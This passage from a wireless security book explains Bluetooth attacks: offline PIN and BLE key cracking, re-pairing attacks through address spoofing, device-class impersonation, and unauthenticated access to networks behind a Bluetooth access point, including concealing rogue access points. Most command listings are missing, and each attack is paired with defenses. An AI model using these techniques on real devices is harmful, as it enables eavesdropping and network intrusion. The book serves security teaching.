The	usage	information	for	BTCrack	OSS	indicates	that	the	fields	specified	by	the	master
always	come	first,	which	is	the	case	when	the	master	initiates	the	pairing	exchange	and	the
slave	responds.	However,	the	slave	can	also	initiate	the	pairing	exchange,	in	which	case	all
the	slave	and	master	values	would	be	swapped.	If	the	slave	initiates	the	pairing	exchange,
simply	substitute	the	values	for	the	slave	where	master	is	specified	by	BTCrack	OSS,	and
vice	versa	for	the	master	values.

When	you	specify	the	pairing	information	in	the	order	BTCrack	OSS	expects,	you	can
achieve	the	desired	results,	as	shown	here:

Supplying	BD_ADDRs	for	PIN	Cracking



Although	a	packet	capture	of	the	pairing	exchange	reveals	most	of	the	data	needed	to
attack	the	PIN	selection,	the	attacker	also	needs	to	supply	the	BD_ADDR	information
manually.	If	the	pairing	devices	are	configured	in	discoverable	mode,	the	output	of	the
hcitool	scan	reveals	this	address	information	easily.	If	one	or	both	devices	are
configured	in	non-discoverable	mode,	however,	then	the	problem	is	more	challenging.

Fortunately,	packet	capture	data	can	help	reveal	BD_ADDR	information	in
Frequency	Hop	Synchronization	(FHS)	frames	sent	during	the	connection	establishment
process.	These	frames	reveal	the	master	device’s	BD_ADDR	right	before	connection
establishment	and	are	also	sent	if	the	master	and	slave	devices	switch	roles,	disclosing
the	BD_ADDR	of	the	slave	device.	Using	the	Ubertooth	basic	rate	packet	decoder
output,	we	can	retrieve	the	BD_ADDR	from	the	FHS	frame	by	piecing	together	the
NAP,	UAP,	and	LAP	data.

	Defending	Against	PIN	Cracking
The	Bluetooth	vulnerability	affecting	PIN	disclosure	is	one	of	the	primary	motivators	for
the	development	of	the	Secure	Simple	Pairing	(SSP)	authentication	mechanism.	If
available,	users	should	leverage	SSP	instead	of	legacy	PIN	authentication	for	the	pairing
exchange	process	to	mitigate	these	attacks.

Often,	users	do	not	have	a	choice	on	the	pairing	mechanism	that	is	used	for	Bluetooth
products.	In	order	for	an	attacker	to	leverage	tools	such	as	BTCrack	and	BTCrack	OSS,	he
needs	to	capture	the	pairing	exchange	between	devices.	To	avoid	this	period	of
vulnerability,	users	should	not	pair	two	devices	in	an	area	where	an	attacker	could
eavesdrop	on	the	conversation.	In	other	words,	pairing	should	not	be	performed	in	stores,
malls,	or	other	public	places.

Alternatively,	users	should	choose	PIN	values	with	the	maximum	length	(16	digits).
This	will	not	defeat	a	persistent	attacker,	but	it	sufficiently	increases	the	PIN	entropy	to
make	recovering	without	cryptographic	accelerator	resources	difficult.

Bluetooth	Low	Energy	PIN	Attacks
Bluetooth	Low	Energy	pairing	is	susceptible	to	offline	Temporary	Key	(TK)	cracking
against	the	Just	Works	and	Numeric	Entry	pairing	methods.	An	attacker	who	captures	the
pairing	exchange	between	two	devices	can	recover	the	TK	and	derive	the	Long	Term	Key
(LTK)	used	to	encrypt	subsequent	Bluetooth	Low	Energy	exchanges.

	Bluetooth	Low	Energy	Cracking	with	Crackle



Crackle	is	a	Bluetooth	Low	Energy	TK	cracking	and	packet	capture	decryption	tool
written	by	Mike	Ryan.	Designed	to	work	with	libpcap	packet	captures	(captured	with
Ubertooth	or	other	compatible	tools),	Crackle	can	recover	the	TK	value	from	Just	Works
and	Numeric	Entry	pairing	exchanges	in	a	straightforward	manner.

To	install	Crackle	on	your	system,	check	out	the	code	from	the	Github	repository,	then
compile	and	install	as	shown	here:

Running	the	crackle	command	with	no	arguments	shows	usage	information:



To	recover	the	TK,	the	packet	capture	must	include	the	entire	pairing	process;	any
missing	portions	of	the	pairing	exchange	(such	as	frames	dropped	from	an	incorrect	CRC)
will	prevent	the	attacker	from	recovering	the	TK.	A	successful	recovery	of	the	TK	with
Crackle	is	shown	here:

In	this	example,	the	TK	is	recovered	as	000000,	a	common	value	used	in	Just	Works
pairing	exchanges.	You	can	optionally	have	Crackle	decrypt	the	packet	capture	as	well	by
specifying	an	output	packet	capture	file:



When	a	packet	capture	is	decrypted	by	Crackle,	it	also	displays	the	LTK	value.	This
value	can	be	used	to	decrypt	subsequent	Bluetooth	Low	Energy	traffic	as	well,	even	after
the	pairing	exchange.

In	this	example,	the	first	attempt	to	recover	the	LK	with	Crackle	fails,	lacking	the	required
packets	exchanged	during	the	pairing	process.	However,	because	we	have	the	LTK	from
the	previous	packet	capture,	we	can	specify	the	LTK	on	the	command	line	with	the	“-l”
(lowercase	L)	argument	to	decrypt	the	data.

As	an	attack	tool,	Crackle	is	simple	and	effective,	but	it	is	only	effective	when	the
pairing	exchange	is	captured	or	the	LTK	is	otherwise	known.	This	requirement	limits	the
exposure	of	Bluetooth	Low	Energy	devices	because	the	pairing	process	typically	happens
during	initial	device	setup,	not	each	time	the	device	is	powered	on	or	otherwise	connected



to	another	Bluetooth	peripheral.

	Defending	Against	TK	Cracking
Since	the	Bluetooth	Low	Energy	pairing	exchange	is	vulnerable	to	TK	guessing	attacks,
users	should	only	pair	devices	in	locations	where	they	are	reasonably	free	from
eavesdropping	attacks—whether	at	work,	at	home,	or	in	a	Faraday	cage	(for	extreme
security	enthusiasts).	Locations	where	pairing	would	not	be	encouraged	include	coffee
shops,	the	Verizon	Wireless	store,	and	other	locations	where	an	attacker	would	reasonably
anticipate	such	activity.

Practical	Pairing	Cracking
As	you’ve	seen,	if	an	attacker	can	capture	the	pairing	exchange,	attacking	the	PIN
selection	or	the	Bluetooth	Low	Energy	PK	is	straightforward.	However,	the	threat	can	be
short-lived	because	once	the	devices	successfully	pair,	they	are	no	longer	vulnerable	to
attack.

From	an	opportunistic	attack	perspective,	we	commonly	see	people	pairing	Bluetooth
devices	in	public	places	such	as	mall	food	courts	and	coffee	shops.	In	this	author’s	town,
the	local	Starbucks	is	next	door	to	an	AT&T	Mobile	store,	where	many	customers	have
walked	in	for	a	cup	of	coffee	while	unpacking	and	pairing	a	new	phone	and	Bluetooth
headset.

If	you	are	attacking	a	piconet	that	has	already	been	paired,	however,	you	have	another
opportunity	to	force	the	devices	to	re-pair.	First	publicized	in	the	paper	“Cracking	the
Bluetooth	PIN”	by	Yaniv	Shaked	and	Avishai	Wool
(http://www.eng.tau.ac.il/~yash/shaked-wool-mobisys05),	an	attacker	can	use	a	“re-pairing
attack”	to	manipulate	the	stored	pairing	status	between	two	devices	by	impersonating	the
BD_ADDR	of	one	of	the	two	devices.

	Re-Pairing	Attack

In	the	re-pairing	attack,	the	attacker	assumes	the	BD_ADDR	of	one	of	the	two	devices
in	the	piconet.	Once	her	BD_ADDR	matches	that	of	the	victim,	she	attempts	to	create	a
connection	to	the	target	device.	This	connection	attempt	will	legitimately	fail	because	the
attacker	does	not	know	the	link	key	established	during	the	initial	pairing	exchange.	As	a
result	of	the	failed	connection,	many	Bluetooth	devices	will	invalidate	the	previously

http://www.eng.tau.ac.il/~yash/shaked-wool-mobisys05


stored	key	(the	link	key	for	Bluetooth	Classic	devices	and	the	LTK	for	Bluetooth	Low
Energy	devices)	for	the	impersonated	BD_ADDR,	thinking	it	was	simply	deleted	on	the
remote	device.	When	the	legitimate	devices	attempt	to	reconnect,	the	formerly	established
key	will	no	longer	be	valid,	causing	the	connection	to	fail	and	prompting	the	user	to	re-
pair,	giving	the	attacker	another	opportunity	to	capture	the	pairing	exchange.

To	mount	a	successful	re-pairing	attack,	the	attacker	has	to	meet	several	requirements:

•		CSR	Bluetooth	interface	Not	all	Bluetooth	radios	can	change	the
BD_ADDR;	CSR	radios	universally	support	this	feature	through	the	Linux	bdaddr
utility.

•		Previously	paired	master	BD_ADDR	The	attacker	must	know	the
BD_ADDR	of	the	previously	paired	master	device.	This	is	the	BD_ADDR	that	the
attacker	will	impersonate	when	connecting	to	the	victim	device.

•		Victim	BD_ADDR	The	attacker	must	know	the	BD_ADDR	of	the	victim
device	(the	slave	device	in	this	attack).	The	attacker	will	use	the	BD_ADDR	of	the
master	device	to	force	a	re-pairing	event	on	the	victim.

•		Bluetooth	packet	vapture	The	attacker	must	be	able	to	capture	the
subsequent	pairing	exchange	using	Ubertooth	or	a	commercial	Bluetooth	sniffer	as
described	in	Chapter	9.

•		Victim	physical	proximity,	connectable	The	attacker	must	be	able	to	initiate
a	connection	to	the	victim	device	to	deliver	the	re-pairing	attack.	The	victim
device	must	be	within	physical	proximity	of	the	attacker,	and	it	must	be	in	a
position	to	accept	a	new	connection.

Standard	Linux	tools	do	not	include	the	ability	to	impersonate	the	BD_ADDR	on
Bluetooth	devices.	For	this	portion	of	the	attack,	we’ll	use	the	bdaddr	utility	written	by
Marcel	Holtmann,	author	of	the	Linux	BlueZ	stack.	This	utility	has	been	modified	by	this
author	to	resolve	bugs	in	the	tool;	download	and	build	the	code	manually	as	shown	here:

With	the	bdaddr	utility	and	the	standard	Linux	hcitool	utility,	we	can	mount	the	re-
pairing	attack.	First,	we	start	the	packet	capture,	using	the	victim	BD_ADDR	as	the	target
to	follow	during	frequency	hopping,	as	shown	in	Chapter	9.	Next,	we	change	the
BD_ADDR	of	our	local	CSR	Bluetooth	interface	to	the	BD_ADDR	of	the	master	device
previously	paired	with	the	victim.	Finally,	we	create	a	connection	to	the	victim	using	the
spoofed	BD_ADDR	to	force	the	re-pairing	attack	using	hcitool.	In	this	example,	we	spoof



the	BD_ADDR	00:00:33:E4:F2:80	(the	author’s	Pebble	Watch),	targeting	the	author’s
Nexus	7	Android	tablet	at	D8:50:E6:31:49:4B:

After	attempting	to	connect	to	the	Android	tablet,	the	attacker	system	attempts	to
negotiate	encryption	support,	which	leads	to	a	link	key	failure	event.	The	Android	device
then	invalidates	the	previous	key	data,	preventing	the	Pebble	Watch	from	subsequently
connecting	with	the	previously	established	key.	Recognizing	that	the	devices	are	no	longer
connected,	a	victim	who	attempts	to	re-pair	the	devices	exposes	himself	to	an
eavesdropping	and	PIN	or	LK	recovery	attack.

To	return	the	attacker	Bluetooth	dongle	to	the	original	BD_ADDR	configuration,	we
issue	the	coldreset	command	with	the	Linux	bccmd	utility:



	Defeating	the	Re-Pairing	Attack
Fortunately,	not	all	Bluetooth	implementations	will	invalidate	a	link	key	when	a	request	is
made	from	a	seemingly	previously	paired	device	without	a	link	key,	limiting	your
exposure	to	this	attack.	If	the	attack	is	successful,	then	the	user	will	be	forced	to	re-pair	the
devices,	creating	a	window	of	exposure	where	the	PIN	or	LK	can	be	compromised.

Advise	users	to	enter	their	PIN	only	in	locations	that	are	not	potentially	hostile.	If	the
device	should	prompt	for	a	PIN	while	at	a	public	place	or	a	hacker	conference,	for
example,	the	best	advice	would	be	to	stop	using	Bluetooth	until	such	a	time	as	the	user	can
return	to	a	place	that	is	unlikely	to	be	susceptible	to	a	Bluetooth	sniffing	attack.

In	general,	disabling	Bluetooth	in	hostile	locations	such	as	hacker	conferences	is	wise.
It’s	quite	common	(and	a	little	disconcerting)	to	see	hacker	conference	attendees	with
mobile	devices	in	discoverable	mode:	an	invitation	to	attack	in	a	room	full	of	hackers!

Device	Identity	Manipulation
Bluetooth	devices	use	multiple	identification	mechanisms	to	convey	information	about	the
device’s	capabilities,	service	classification,	address,	and	friendly	name	information.
Depending	on	the	target	environment	you	are	trying	to	exploit,	you	may	find	it	necessary
or	useful	to	manipulate	the	identity	of	your	attack	system	to	manipulate	the	target.

Bluetooth	Service	and	Device	Class
Each	Bluetooth	interface	uses	a	service	and	device	class	identifier,	making	up	a	24-bit
field	known	as	the	Class	of	Device/Service	field,	as	shown	in	Figure	10-1.	The	service
class	information	is	an	11-bit	field	that	generalizes	the	services	of	the	Bluetooth	device
into	one	of	multiple	categories,	including	positioning	devices	(location	identification),
rendering	devices	(printers,	speakers),	capturing	devices	(optical	scanners,	microphones),
and	more.



Figure	10-1	Bluetooth	Class	of	Device/Service	field

The	device	class	information	is	broken	into	two	fields,	a	major	class	and	a	minor	class.
The	major	class	field	identifies	ten	different	device	types,	as	shown	in	Table	10-1.

Table	10-1	Major	Class	Types

The	minor	class	field	further	differentiates	devices	of	a	given	major	class	type.	For
example,	when	the	major	class	is	phone	(0x02),	the	minor	class	field	will	differentiate
cellular	phones	(0x01),	cordless	phones	(0x02),	smartphones	(0x03),	and	wired	modems
(0x04).

Typically,	the	service	class,	major	class,	and	minor	class	fields	are	static	for	devices,



with	the	exception	of	devices	with	a	major	class	of	network	access	point	(0x03).	When	the
major	class	is	0x03,	the	minor	class	value	will	change	dynamically	to	reflect	the	utilization
of	the	Bluetooth	network	link	from	1–17	percent	(minor	class	0x01)	to	83–99	percent
utilized	(0x06).

The	full	list	of	Bluetooth	service,	major,	and	minor	classes	are	documented	by	the
Bluetooth	SIG	in	the	“Bluetooth	Assigned	Numbers	–	Baseband”	document.	This	was
formerly	available	in	early	versions	of	the	Bluetooth	specification,	but	has	since	been
moved	to	the	bluetooth.org	website	for	more	frequent	maintenance	updates	at
https://www.bluetooth.org/en-us/specification/assigned-numbers/baseband.

The	last	two	bits	in	the	device	class/service	field	represent	the	format	type	field,	which
is	used	as	a	version	identifier.	Currently,	this	value	is	always	00,	but	it	could	change	to	a
different	value	if	the	Bluetooth	SIG	requires	additional	fields	to	differentiate	additional
devices.

Many	of	the	Bluetooth	reconnaissance	scanners	we	examined	in	Chapter	7	reveal	the
service	class	and	device	class	information	for	each	discovered	device.	From	the	Linux
command	line,	we	can	scan	for	discoverable	Bluetooth	Basic	Rate	and	Enhanced	Data
Rate	(BR/EDR)	devices	and	retrieve	service	and	device	class	information	with	the	hcitool
command,	as	shown	here:

In	this	output,	the	device	with	the	BD_ADDR	00:1B:63:5D:56:6C	reports	a	class	of
0x3a010c.	We	can	examine	the	service	class	information	by	converting	the	value	to	binary
format	and	examining	the	individual	fields,	as	shown	here	and	in	the	table	that	follows:

We	can	automate	the	decoding	of	class	information	using	the	btclassify	utility	by	Mike
Ryan,	as	shown	here:

http://bluetooth.org
https://www.bluetooth.org/en-us/specification/assigned-numbers/baseband


Once	you	understand	how	the	class	of	device/service	field	is	used	to	identify	a	device,
you	can	use	that	information	to	manipulate	the	identity	of	your	attack	system.

	Manipulating	Service	and	Device	Class	Information

As	you	saw	earlier	in	this	chapter,	the	device	class	and	service	information	is	used	by
many	devices	to	differentiate	the	capabilities	of	a	Bluetooth	device.	Many	devices	will
simply	ignore	connection	attempts	from	remote	devices	or	will	not	display	the	presence	of
a	local	device	unless	the	service	and	device	class	information	match	the	desired	values.

For	example,	the	iPhone	Bluetooth	capability	is	very	limited,	with	little	support	for
Bluetooth	peripherals	other	than	audio	devices	and	headsets.	As	a	result,	the	iPhone	often
ignores	devices	that	do	not	match	the	service	and	device	class	settings	that	it	knows	will
support	the	available	Bluetooth	connectivity	options.

On	Linux	systems,	we	can	examine	the	local	device	class	information	with	the
hciconfig	command,	as	shown	here:



Fortunately,	hciconfig	also	decodes	the	service	and	device	class	information,	indicating
the	device	is	configured	for	the	networking	service	with	a	device	major	and	minor	class	of
computer	and	laptop.

As	root,	we	can	change	the	service	and	device	class	information	to	manipulate	the
system’s	identity.	For	example,	we	can	change	the	service	and	device	class	information	to
0xf00704	(major	device	class:	wearable	device;	minor	device	class:	wristwatch):

By	changing	the	service	and	device	class	information,	the	device	appears	in	an	iPhone
Bluetooth	device	scan,	as	shown	here.





	Defeating	Device	Impersonation
Unfortunately,	the	Bluetooth	specification	does	not	contain	any	mechanisms	to	bind	the
service	and	device	class	information	to	a	specific	device,	which	means	an	attacker	can
configure	her	system	as	if	it	were	any	other	Bluetooth	device	type.	Under	normal
circumstances,	this	shortcoming	doesn’t	necessarily	represent	a	problem	since	the	device
class	data	is	intended	for	informational	purposes	only.	If	the	security	of	your	system
involves	validation	of	the	remote	device	class	information,	however,	you	should	recognize
that	an	attacker	can	impersonate	any	device,	evading	filtering	mechanisms	that	only	accept
connections	from	specific	device	classes.

Abusing	Bluetooth	Profiles
Many	of	the	vulnerabilities	identified	and	reported	in	Bluetooth	implementations	target
vulnerabilities	in	the	implementation	of	Bluetooth	profiles	themselves.	In	Chapter	7,	we
looked	at	the	capabilities	of	various	Bluetooth	discovery	tools	and	the	BlueZ	sdptool	that
can	browse	or	explicitly	request	service	information	from	a	target	device.	Depending	on
the	target	device’s	configuration,	these	services	will	have	independently	controlled
security	settings	that	may	grant	unauthorized	access	to	the	attacker.

While	some	services	on	a	Bluetooth	target	will	always	require	authentication	and
encryption	(such	as	the	Headset	or	Hands	Free	profiles),	Bluetooth	stack	developers	may
decide	to	add	other	profiles	that	require	a	lower	level	of	security.	For	example,	the	ability
to	receive	a	business	card	over	the	OBEX	Push	profile	from	a	remote	device	is	a
seemingly	innocuous	service	that	may	require	no	authentication	from	the	remote	device
for	the	greatest	level	of	simplicity	in	information	sharing.	Other	services	such	as	the	File
Transfer	Profile	(FTP)	may	not	require	authentication	for	simplicity,	opting	to	store	all	the
transferred	files	in	a	“quarantine”	folder	until	the	Bluetooth	recipient	can	examine	and
scan	the	file’s	contents.

Vulnerabilities	in	Bluetooth	profiles	have	been	discovered	that	allow	an	attacker	to
bypass	intended	security	mechanisms,	trigger	DoS	conditions	on	target	devices,	and
execute	arbitrary	code	on	a	victim	system.	Although	historically	Bluetooth	has	had	many
implementation	vulnerabilities,	the	quick	refresh	cycle	for	mobile	phones	makes	these
vulnerabilities	relatively	short-lived.	Rather	than	cover	a	number	of	patched	vulnerabilities
that	are	unlikely	to	be	found	in	modern	devices,	this	section	will	focus	on	walking	you
through	the	process	of	leveraging	the	enumeration	data	with	the	proper	tools	to	hack	a
target	device,	using	known	and	previously	unknown	vulnerabilities	as	examples.

Testing	Connection	Access
The	first	barrier	to	get	through	for	evaluating	a	target	is	to	determine	if	you	can	make	a
connection	to	the	remote	Bluetooth	device	at	the	L2CAP	layer.	If	access	is	rejected	at	the
L2CAP	layer,	you	won’t	be	able	to	access	higher-layer	protocols	either.



For	a	given	target,	create	a	connection	to	the	remote	system	while	watching	the	status
of	the	connection	with	the	HCI-layer	sniffer	hcidump.	Hcidump	is	usually	a	separate
package	for	Linux	distributions,	but	it	is	a	component	of	the	Linux	BlueZ	stack.	On
Debian-based	systems,	you	can	install	the	hcidump	tool,	as	shown	here:
$	sudo	apt-get	install	bluez-hcidump

Once	hcidump	is	installed,	you	can	examine	the	HCI	layer	and	higher	connectivity
between	the	local	Bluetooth	interface	and	a	remote	device.	You	can	run	the	hcidump
command	with	no	arguments	to	start	collecting	and	displaying	information	on	the	hci0
interface,	by	default,	or	with	an	alternative	interface	specified	with	the	-i	argument.	We
also	like	to	add	timestamp	information	to	the	output	with	the	-t	argument,	as	shown	here:

In	another	window,	create	a	connection	to	the	target	with	the	hcitool	command	using
the	cc	argument	(create	connection)	followed	by	the	remote	BD_ADDR:
$	sudo	hcitool	cc	00:02:EE:6E:72:D3

Returning	to	the	hcidump	window	then,	you’ll	see	the	status	of	the	connection	attempt.
In	this	example,	the	connection	proved	successful,	as	the	local	device	starts	with	an	HCI
Create	Connection	command.	The	conversation	between	the	two	devices	evaluates	the
supported	features	between	devices,	changes	the	number	of	transmission	slots	that	can	be
used	from	the	default,	requests	remote	friendly	name	information,	and	terminates	the
connection:

	



The	use	of	the	less-than	and	greater-than	characters	in	the	hcidump	output	denotes	the
direction	of	traffic	at	the	HCI	layer—from	upper-stack	layers	to	lower-stack	layers	(less
than,	or	<)	and	from	lower-stack	layers	to	upper-stack	layers	(greater	than,	or	>).	Often,
these	symbols	correspond	to	traffic	leaving	the	local	device	to	the	remote	device	(<)	and
returning	traffic	from	the	remote	device	to	the	local	device	(>),	although	some	events,
such	as	Command	Status,	are	from	the	HCI	layer	itself,	not	from	a	remote	device.

An	example	of	a	failed	connection	attempt	is	shown	next.	The	verbose	flag	(-V)	has
also	been	provided	for	additional	clarity	in	this	example.

In	this	example,	you	can	see	that	the	remote	device	rejected	our	connection	attempt	with
the	reason	code	“Connection	Rejected	due	to	Unacceptable	BD_ADDR.”	This	output
reveals	that	the	remote	device	is	using	a	form	of	Bluetooth	MAC	address	filtering,
creating	an	additional	obstacle	for	the	attacker	to	overcome	to	communicate	with	the
remote	device.

	

If	the	master’s	BD_ADDR	for	the	device	rejecting	our	connection	is	known,	we	can	use
the	bdaddr	utility	to	impersonate	this	authorized	device	and	overcome	this	restriction.

Once	we	are	successful	in	creating	a	basic	L2CAP	connection	to	the	target,	we	can
continue	to	attack	available	services	in	the	remote	device.

Unauthorized	PAN	Access
The	Bluetooth	Personal	Area	Networking	(PAN)	profile	is	designed	to	create	ad-hoc
network	connectivity	for	one	or	more	devices.	Combined	with	the	Bluetooth	Network
Encapsulation	Profile	(BNEP),	devices	are	able	to	use	Bluetooth	to	emulate	an	Ethernet



network,	seamlessly	transmitting	Ethernet-formatted	frames	over	a	Bluetooth	medium.
Through	PAN	and	BNEP,	two	devices	can	leverage	any	upper-layer	protocols	to	exchange
data,	such	as	an	IP	stack.	The	PAN	profile	is	used	in	two	different	scenarios.

One	deployment	option	for	the	PAN	profile	is	the	Network	Access	Point	(NAP)
service,	in	which	a	Bluetooth	device	grants	access	in	the	form	of	a	bridge,	router,	or	proxy
between	the	Bluetooth	piconet	and	an	upstream	network	(such	as	an	Ethernet	LAN).	In
this	use	case,	the	PAN	profile	enables	a	device	to	work	as	if	it	were	an	infrastructure	Wi-Fi
AP,	using	Bluetooth	as	the	wireless	communication	medium.

The	second	deployment	option	for	the	PAN	profile	is	the	Group	Ad-hoc	Network
(GN)	service,	used	to	establish	point-to-point	connectivity	between	two	or	more	devices	in
a	piconet.	This	use	case	is	similar	to	the	IEEE	802.11	ad-hoc	networking	configuration.
Unlike	the	NAP	deployment	option,	the	GN	service	allows	the	master	of	the	piconet	to
participate	in	the	data	exchange	with	the	other	device,	whereas	the	NAP	service	is	solely
responsible	for	forwarding	frames	between	upstream	and	downstream	devices.

Many	Bluetooth	devices	support	the	NAP	and	GN	profiles	to	utilize	the	Bluetooth
medium	for	upper-layer	protocol	stacks.	The	NAP	service	is	commonly	used	to	grant
upstream	networking	resources,	such	as	GSM	connectivity	for	a	Bluetooth-enabled	laptop
through	a	mobile	phone.	Because	the	GN	service	is	conveniently	similar	to	the	NAP
service,	the	GN	service	is	also	commonly	made	available	to	support	ad-hoc	file	sharing	or
other	short-term	networking	services.	Although	not	enabled	by	default,	OS	X	10.4	and
later	devices	include	the	ability	to	offer	both	services,	which,	when	enabled,	will	be
revealed	in	a	standard	SDP	scan,	as	shown	here	(this	example	has	been	trimmed	for
brevity):



From	an	attack	perspective,	the	NAP	service	represents	an	opportunity	for	an	attacker
to	gain	access	to	network	resources	beyond	the	target	Bluetooth	device,	potentially
leveraging	the	Bluetooth	connection	to	attack	other	hosts	over	Ethernet	or	IP.	The	GN
profile	is	somewhat	less	interesting,	restricting	the	attacker	to	the	target	device	itself,
though	this	still	grants	the	attacker	the	ability	to	enumerate	and	exploit	the	remote
Bluetooth	device	if	any	vulnerabilities	are	identified.

The	Bluetooth	SIG	profile	documentation	for	PAN	indicates	that	strong	security
measures	should	be	applied	to	the	NAP	or	GN	services,	including	Bluetooth	LMP
authentication	and	encryption,	as	well	as	upper-layer	authentication	options	such	as	IEEE
802.1X.	Despite	this	suggestion,	not	all	the	PAN	profile	implementations	require
authentication	or	established	encryption	keys	for	access.

The	Belkin	F8T030	is	a	network	access	point	using	Bluetooth	as	the	wireless	transport
over	the	NAP	profile.	By	default,	the	F8T030	does	not	attempt	to	authenticate	or	encrypt
connections	that	are	bridged	to	the	local	Ethernet	interface.	It	also	discloses	network	IP
address	information	in	the	device-friendly	name,	as	shown	here:

We	can	connect	a	Linux	system	to	this	Bluetooth	AP	by	using	the	BlueZ	pand	tool:



In	this	example,	we	load	the	Linux	kernel	module	for	the	Bluetooth	Network
Encapsulation	Protocol	(modprobe	bnep),	and	then	we	start	the	pand	utility,	specifying	the
target	BD_ADDR	with	the	-c	argument,	delaying	the	process	from	forking	into	a
background	daemon	until	after	the	connection	is	completed	(-n).	The	pand	process
announces	itself	and,	after	a	few	seconds,	indicates	that	a	new	interface,	bnep0,	has	been
created.	We	place	the	interface	in	the	up	state	using	the	ifconfig	utility.

	

As	an	alternative	to	the	bnep	command-line	tool,	the	Blueman	utility	provides	a	graphical
interface	to	establish	PAN	connections.	Check	with	your	Linux	distribution	provider	for	a
package	to	install	Blueman,	or	visit	the	Blueman	development	site	at
https://github.com/blueman-project/blueman.

Once	we	have	created	the	bnep0	interface,	we	have	an	Ethernet-bridged	connection	to
the	wired	network	behind	the	Belkin	F8T030.	In	this	example,	we	start	the	tcpdump
utility,	observing	IPv6	and	IPv4	broadcast	traffic	being	transmitted	on	the	network.
Optionally,	we	can	manually	configure	the	bnep0	interface	with	an	IP	address	on	the	LAN
or	use	the	DHCP	client	to	request	an	IP	address	automatically,	as	shown	here:

https://github.com/blueman-project/blueman


When	you	want	to	terminate	the	pand	interface,	run	the	pand	tool	again	with	the	-K
flag	to	kill	all	pand	connections:
$	sudo	pand	-K

	

For	additional	debugging	output	from	the	pand	utility,	watch	the	contents	of	the
/var/log/syslog	file:	tail	-f	/var/log/syslog.

Once	we’ve	achieved	LAN	access	through	the	PAN	profile,	we	can	assess	network
devices	for	vulnerabilities	as	if	we	were	physically	connected	to	the	network	(albeit,	at	a
slower	data	rate).

Malicious	Bluetooth	Networks
The	Belkin	F8T030	Bluetooth	AP	may	be	an	unlikely	device	to	stumble	on	in	a	target
network.	In	this	author’s	experience,	laptop,	desktop,	and	mobile	phones	are	much	more
likely	to	be	found	running	the	PAN	service	than	dedicated	Bluetooth	APs.	However,	a
device	such	as	the	Belkin	AP	is	quite	useful	for	a	different	method	of	wireless	attack:	a
malicious	rogue	AP.

A	malicious	rogue	AP	is	a	rogue	wireless	device	planted	in	a	target	organization’s
network	expressly	for	the	purpose	of	providing	network	access	to	an	attacker	from	a
safe	distance.	Planting	the	rogue	AP	can	be	done	in	several	ways:	by	breaching	the
physical	security	of	a	facility	and	installing	an	AP	(such	as	hidden	in	a	lobby	location),
by	manipulating	less	tech-savvy	staff	into	deploying	the	AP	for	you,	or	by	working	with
a	malicious	insider	intent	on	damaging	his	employer.

As	more	organizations	turn	to	Wi-Fi	wireless	intrusion	detection	systems	(WIDS)
for	monitoring	the	wireless	activity	in	their	facilities,	leveraging	a	malicious	rogue	for
network	access	while	evading	detection	becomes	more	difficult.	Fortunately	for	an
attacker,	802.11	WIDS	technology	does	not	suitably	identify	or	characterize	the	nature
of	Bluetooth	devices.

An	attacker	who	wants	to	deploy	a	malicious	rogue	against	an	organization	that	uses
WIDS	technology	can	simply	turn	to	Bluetooth	as	a	transport	mechanism	instead	of	Wi-



Fi.	With	minor	hardware	modifications	or	a	commercial	adapter,	the	Belkin	AP	can
even	be	powered	via	a	Power	over	Ethernet	(PoE)	port.	Furthermore,	the	F8T030	circuit
board	is	sufficiently	small	enough	to	hide	inside	an	innocuous-looking	device,	such	as	a
smoke	detector	or	other	environmental	metering	device,	increasing	the	attacker’s
likelihood	of	evading	detection.

File	Transfer	Attacks
Another	common	service	you	will	likely	encounter	on	Bluetooth	devices	is	the	ability	to
transfer	files	to	a	remote	device.	Two	Bluetooth	profiles	support	file	transfer	features	to
support	a	variety	of	use	cases.

The	Object	Push	Profile	(OPP)	leverages	the	Object	Exchange	(OBEX)	protocol	for
limited	file	transfer	operations.	OBEX	features	leveraged	by	OPP	include	establishing	and
disconnecting	a	session	between	an	OBEX	client	and	server,	as	well	as	storing	and
retrieving	files	and	aborting	a	file	transfer	in	progress.	OPP	does	not	implement	the	ability
to	enumerate	the	filesystem	of	a	remote	device;	file	retrieval	must	be	based	on
predetermined	filename	knowledge.	OPP	is	often	implemented	for	simple	file	exchange
between	devices	where	a	client	can	push	a	file	to	a	remote	device,	or	for	the	unidirectional
or	bidirectional	exchange	of	VCards	for	contact	information	exchange.

By	contrast,	the	File	Transfer	Profile	(FTP)	grants	greater	access	to	the	remote
filesystem,	allowing	the	user	to	browse,	transfer,	and	manipulate	files.	The	ability	to
navigate	to	and	create	new	folders	is	also	commonly	implemented,	though	not	an	explicit
requirement	in	the	profile	specification.	FTP	also	grants	the	ability	to	create	new	empty
files	(or	to	transfer	an	existing	file	from	one	system	to	another)	and	to	delete	arbitrary	files
or	directories.	FTP	is	often	implemented	for	remote	filesystem	management	over
Bluetooth,	combined	with	a	navigation	UI	that	allows	the	user	to	identify	existing	files	and
directories	with	the	ability	to	quickly	browse	and	navigate	the	remote	system.

You	can	identify	the	presence	of	OPP	or	FTP	through	SDP	enumeration,	as	shown	here
(output	has	been	trimmed	for	brevity):
$	sdptool	records	00:11:34:9E:F1:32

Service	Name:	FTP

Service	RecHandle:	0x10002



In	this	output,	three	file	transfer	services	are	identified;	the	first	implements	the	FTP
service,	followed	by	two	OPP	implementations.	The	first	OPP	implementation	is
designated	specifically	for	phonebook	access,	using	OPP	to	grant	or	deny	access
specifically	to	the	phonebook	records	on	the	target	device.	The	second	OPP	service	is



intended	for	general	access	to	the	target’s	filesystem.

From	a	security	perspective,	the	OPP	service	is	often	implemented	as	multiple
services,	each	with	varying	levels	of	security.	In	the	prior	SDP	enumeration,	the
Phonebook	Access	PSE	will	likely	have	a	different	security	policy	for	accepting	new
phonebook	entries	or	allowing	a	remote	device	to	download	existing	entries	than	the
second	OPP	service	intended	for	standard	filesystem	access.	Still	other	Bluetooth
implementations	will	use	an	OPP	service	for	business	card	transfer,	often	leaving	this
service	unauthenticated	to	simplify	the	process	of	exchanging	contact	information.
Naturally,	vulnerabilities	in	these	profiles	are	heightened	when	they	can	be	exploited	in
conditions	where	authentication	is	not	required.

In	both	OPP	and	FTP,	another	layer	of	security	is	applied	by	restricting	the	filesystem
locations	that	a	remote	device	can	access.	For	OPP,	each	service	is	typically	configured
with	a	specific	directory	on	the	target	filesystem	to	store	incoming	and	serve	outgoing	file
requests.	Sometimes,	a	directory	is	known	as	the	Bluetooth	Files	Folder	to	distinguish	it
from	other	filesystem	directories	as	explicitly	intended	for	this	use.	For	FTP,	the
